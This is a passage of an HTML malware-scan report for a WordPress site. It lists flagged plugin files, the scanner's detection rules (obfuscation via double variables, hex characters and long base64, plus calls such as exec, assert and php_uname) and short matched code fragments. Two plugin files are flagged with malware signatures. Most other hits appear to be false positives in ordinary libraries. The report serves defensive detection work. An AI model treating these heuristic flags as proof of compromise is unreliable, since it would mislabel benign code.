</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_213").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/analytics-1769473357/libs/UserAgent/front.page.template.1769473357.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:22:59</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:22:59</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_214" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_214").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/xjckb/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 20:08:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 20:08:05</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_215" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 446</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_215").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/_Ultimate_VC_Addons/presets/Ultimate_Google_Maps.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 2.82 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_216" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 45</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'JTVCJTBBJTIwJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIyZmVhdHVyZVR5cGUlMjIlM0ElMjAlMjJsYW5kc2NhcGUubWFuX21hZGUlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjJlbGVtZW50VHlwZSUyMiUzQSUyMCUyMmdlb21ldHJ5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIyc3R5bGVycyUyMiUzQSUyMCU1QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMCUyMnZpc2liaWxpdHklMjIlM0ElMjAlMjJvbiUyMiUyMCU3RCUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMCUyMmNvbG9yJTIyJTNBJTIwJTIyJTIzOWI5NTk1JTIyJTIwJTdEJTBBJTIwJTIwJTIwJTIwJTVEJTBBJTIwJTIwJTdEJTJDJTdCJTBBJTIwJTIwJTIwJTIwJTIyZmVhdHVyZVR5cGUlMjIlM0E...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_216").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/_Ultimate_VC_Addons/admin/bsf-core/plugin-installer/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 16.13 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:33</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_217" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 397</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">response</span><span style="color: #007700">);<br /><br /> if ( </span><span style="color: #0000BB">typeof matches</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">] != </span><span style="color: #DD0000">"undefined" </span><span style="color: #007700">) {<br /> var </span><span style="color: #0000BB">responseObj </span><span style="color: #007700">= </span><span style="color: #0000BB">jQuery</span><span style="color: #007700">.</span><span style="color: #0000BB">parseJSON</span><span style="color: #007700">( </span><span style="color: #0000BB">matches</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style="color: #007700">] );<br /><br /> if ( </span><span style="color: #0000BB">responseObj</span><span style="color: #007700">.</span><span style="color: #0000BB">redirect </span><span style="color: #007700">!= </span><span style="color: #DD0000">"" </span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">window</span><span style="color: #007700">.</span><span style="color: #0000BB">location </span><span style="color: #007700">= </span><span style="color: #0000BB">responseObj</span><span style="color: #007700">.</span><span style="color: #0000BB">redirect</span><span style="color: #007700">;<br /> }<br /> }<br /><br /> var </span><span style="color: #0000BB">blank_response </span><span style="color: #007700">= </span><span style="color: #0000BB">true</span><span style="color: #007700">;<br /> var </span><span style="color: #0000BB">plugin_status </span><span style="color: #007700">= </span><span style="color: #0000BB">response</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">'|'</span><span style="color: #007700">);<br /> var </span><span style="color: #0000BB">is_ftp </span><span style="color: #007700">= </span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /> $.</span><span style="color: #0000BB">each</span><span style="color: #007700">(</span><span style="color: #0000BB">plugin_status</span><span style="color: #007700">, function(</span><span style="color: #0000BB">i</span><span style="color: #007700">,</span><span style="color: #0000BB">res</span><span style="color: #007700">){<br /> if(</span><span style="color: #0000BB">res </span><span style="color: #007700">=== </span><span style="color: #DD0000">'bsf-plugin-installed'</span><span style="color: #007700">) {<br /> </span><span style="color: #0000BB">is_plugin_installed </span><span style="color: #007700">= </span><span style="color: #0000BB">true</span><span style="color: #007700">;<br /> </span><span style="color: #0000BB">blank_response </span><span style="color: #007700">= </span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /> }<br /> if(...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_217").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/symfony/polyfill-intl-normalizer/Normalizer.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 7.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_218" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 50</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_218").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/Component/Host/HostParser.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.33 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_219" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( ! </span><span style="color: #0000BB">$input</span><span style="color: #007700">-></span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">() ); </span><span style="color: #0000BB">$domain </span><span style="color: #007700">= </span><span style="color: #0000BB">rawurldecode</span><span style="color: #007700">( (string) </span><span style="color: #0000BB">$input </span><span style="color: #007700">); </span><span style="color: #0000BB">$asciiDomain </span><span style="color: #007700">= </span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">domainToAscii</span><span style="color: #007700">( </span><span style="color: #0000BB">$context</span><span style="color: #007700">, </span><span style="color: #0000BB">$domain</span><span style="color: #007700">, </span><span style="color: #0000BB">false </span><span style="color: #007700">); if ( </span><span style="color: #0000BB">$asciiDomain </span><span style="color: #007700">=== </span><span style="color: #0000BB">false </span><span style="color: #007700">) { return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } if ( </span><span style="color: #0000BB">$asciiDomain</span><span style="color: #007700">-></span><span style="color: #0000BB">matches</span><span style="color: #007700">( </span><span style="color: #DD0000">'/[' </span><span style="color: #007700">. </span><span style="color: #0000BB">self</span><span style="color: #007700">::</span><span style="color: #0000BB">FORBIDDEN_DOMAIN_CODEPOINTS </span><span style="color: #007700">. </span><span style="color: #DD0000">']/u'</span><span style="color: #007700">, </span><span style="color: #0000BB">$matches</span><span style="color: #007700">, </span><span style="color: #0000BB">PREG_OFFSET_CAPTURE </span><span style="color: #007700">) ) { ( </span><span style="color: #0000BB">$nullsafeVariable2 </span><span style="color: #007700">= </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">logger </span><span style="color: #007700">) ? </span><span style="color: #0000BB">$nullsafeVariable2</span><span style="color: #007700">-></span><span style="color: #0000BB">warning</span><span style="color: #007700">( </span><span style="color: #DD0000">'domain-invalid-code-point'</span><span style="color: #007700">, [ </span><span style="color: #DD0000">'input' </span><span style="color: #007700">=> (string) </span><span style="color: #0000BB">$asciiDomain</span><span style="color: #007700">, </span><span style="color: #DD0000">'column' </span><span style="color: #007700">=> </span><span style="color: #0000BB">mb_strlen</span><span style="color: #007700">( </span><span style="color: #0000BB">mb_strcut</span><span style="color: #007700">( (string) </span><span style="color: #0000BB">$asciiDomain</span><span style="color: #007700">, </span><span style="color: #0000BB">0</span><span style="color: #007700">, $...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_219").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/Component/Host/Math/BrickMathAdapter.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 2.18 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_220" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 92</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">is_numeric</span><span style="color: #007700">( </span><span style="color: #0000BB">$str </span><span style="color: #007700">) )</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_220").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/Component/Host/IPv6AddressParser.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 10.65 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_221" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">$arrayIsListFunction</span><span style="color: #007700">( </span><span style="color: #0000BB">$address </span><span style="color: #007700">) ); return new </span><span style="color: #0000BB">IPv6Address</span><span style="color: #007700">( </span><span style="color: #0000BB">$address </span><span style="color: #007700">); } private static function </span><span style="color: #0000BB">parseIPv4Address</span><span style="color: #007700">( </span><span style="color: #0000BB">ParserContext $context</span><span style="color: #007700">, </span><span style="color: #0000BB">USVStringInterface $input</span><span style="color: #007700">, </span><span style="color: #0000BB">StringIteratorInterface $iter</span><span style="color: #007700">, array </span><span style="color: #0000BB">$address</span><span style="color: #007700">, </span><span style="color: #0000BB">int $pieceIndex </span><span style="color: #007700">) { </span><span style="color: #0000BB">$numbersSeen </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">; do { </span><span style="color: #0000BB">$ipv4Piece </span><span style="color: #007700">= </span><span style="color: #0000BB">null</span><span style="color: #007700">; if ( </span><span style="color: #0000BB">$numbersSeen </span><span style="color: #007700">> </span><span style="color: #0000BB">0 </span><span style="color: #007700">) { if ( </span><span style="color: #0000BB">$iter</span><span style="color: #007700">-></span><span style="color: #0000BB">current</span><span style="color: #007700">() !== </span><span style="color: #DD0000">'.' </span><span style="color: #007700">|| </span><span style="color: #0000BB">$numbersSeen </span><span style="color: #007700">>= </span><span style="color: #0000BB">4 </span><span style="color: #007700">) { ( </span><span style="color: #0000BB">$nullsafeVariable9 </span><span style="color: #007700">= </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">logger </span><span style="color: #007700">) ? </span><span style="color: #0000BB">$nullsafeVariable9</span><span style="color: #007700">-></span><span style="color: #0000BB">warning</span><span style="color: #007700">( </span><span style="color: #DD0000">'IPv4-in-IPv6-invalid-code-point'</span><span style="color: #007700">, [ </span><span style="color: #DD0000">'input' </span><span style="color: #007700">=> (string) </span><span style="color: #0000BB">$inpu</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_221").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/State/RelativeState.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 2.70 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_222" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">base </span><span style="color: #007700">!== </span><span style="color: #0000BB">null </span><span style="color: #007700">&& ! </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">base</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme</span><span style="color: #007700">-></span><span style="color: #0000BB">isFile</span><span style="color: #007700">() ); </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">url</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme </span><span style="color: #007700">= clone </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">base</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme</span><span style="color: #007700">; if ( </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'/' </span><span style="color: #007700">) { </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">RELATIVE_SLASH</span><span style="color: #007700">; return </span><span style="color: #0000BB">StatusCode</span><span style="color: #007700">::</span><span style="color: #0000BB">OK</span><span style="color: #007700">; } if ( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">url</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme</span><span style="color: #007700">-></span><span style="color: #0000BB">isSpecial</span><span style="color: #007700">() && </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'\\' </span><span style="color: #007700">) { ( </span><span style="color: #0000BB">$nullsafeVariable1 </span><span style="color: #007700">= </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">logger </span><span style="color: #007700">) ? </span><span style="color: #0000BB">$nullsafeVariable1</span><span style="color: #007700">-></span><span style="color: #0000BB">notice</span><span style="color: #007700">( </span><span style="color: #DD0000">'invalid-reverse-solidus'</span><span style="color: #007700">, [ </span><span style="color: #DD0000">'input' </span><span style="color: #007700">=> (string) </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">input</span><span style="color: #007700">, </span><span style="color: #DD0000">'column' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">iter</span><span style="color: #007700">-></span><span style="color: #0000BB">key</span><span style="color: #007700">() + </span><span style="color: #0000BB">1</span><span style="color: #007700">, ] ) : </span><span style="color: #0000BB">null</span><span style="color: #007700">; </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">=...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_222").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/State/SchemeState.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.01 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_223" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">base</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme</span><span style="color: #007700">-></span><span style="color: #0000BB">isSpecial</span><span style="color: #007700">(), </span><span style="color: #DD0000">'base is special (and therefore does not have an opaque path)' </span><span style="color: #007700">); </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">SPECIAL_RELATIVE_OR_AUTHORITY</span><span style="color: #007700">; } elseif ( </span><span style="color: #0000BB">$urlIsSpecial </span><span style="color: #007700">) { </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">SPECIAL_AUTHORITY_SLASHES</span><span style="color: #007700">; } elseif ( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">iter</span><span style="color: #007700">-></span><span style="color: #0000BB">peek</span><span style="color: #007700">() === </span><span style="color: #DD0000">'/' </span><span style="color: #007700">) { </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">PATH_OR_AUTHORITY</span><span style="color: #007700">; </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">iter</span><span style="color: #007700">-></span><span style="color: #0000BB">next</span><span style="color: #007700">(); } else { </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">url</span><span style="color: #007700">-></span><span style="color: #0000BB">path </span><span style="color: #007700">= new </span><span style="color: #0000BB">OpaquePath</span><span style="color: #007700">( new </span><span style="color: #0000BB">PathSegment</span><span style="color: #007700">() ); </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">OPAQUE_PATH</span><span style="color: #007700">; } return...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_223").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/wordpress-importer/php-toolkit/DataLiberation/vendor-patched/rowbot/url/src/State/RelativeSlashState.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 1.69 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-16 14:59:52</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_224" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function assert <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `assert`</p><p><i>[<a href="https://www.php.net/assert" target="_blank" class="text-primary">https://www.php.net/assert</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">assert</span><span style="color: #007700">( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">base </span><span style="color: #007700">!== </span><span style="color: #0000BB">null </span><span style="color: #007700">); if ( </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">url</span><span style="color: #007700">-></span><span style="color: #0000BB">scheme</span><span style="color: #007700">-></span><span style="color: #0000BB">isSpecial</span><span style="color: #007700">() && ( </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'/' </span><span style="color: #007700">|| </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'\\' </span><span style="color: #007700">) ) { if ( </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'\\' </span><span style="color: #007700">) { ( </span><span style="color: #0000BB">$nullsafeVariable1 </span><span style="color: #007700">= </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">logger </span><span style="color: #007700">) ? </span><span style="color: #0000BB">$nullsafeVariable1</span><span style="color: #007700">-></span><span style="color: #0000BB">notice</span><span style="color: #007700">( </span><span style="color: #DD0000">'invalid-reverse-solidus'</span><span style="color: #007700">, [ </span><span style="color: #DD0000">'input' </span><span style="color: #007700">=> (string) </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">input</span><span style="color: #007700">, </span><span style="color: #DD0000">'column' </span><span style="color: #007700">=> </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">iter</span><span style="color: #007700">-></span><span style="color: #0000BB">key</span><span style="color: #007700">() + </span><span style="color: #0000BB">1</span><span style="color: #007700">, ] ) : </span><span style="color: #0000BB">null</span><span style="color: #007700">; } </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">SPECIAL_AUTHORITY_IGNORE_SLASHES</span><span style="color: #007700">; return </span><span style="color: #0000BB">StatusCode</span><span style="color: #007700">::</span><span style="color: #0000BB">OK</span><span style="color: #007700">; } if ( </span><span style="color: #0000BB">$codePoint </span><span style="color: #007700">=== </span><span style="color: #DD0000">'/' </span><span style="color: #007700">) { </span><span style="color: #0000BB">$context</span><span style="color: #007700">-></span><span style="color: #0000BB">state </span><span style="color: #007700">= </span><span style="color: #0000BB">ParserState</span><span style="color: #007700">::</span><span style="color: #0000BB">AUT</span><span style="color: #007700">...</span>
</span>
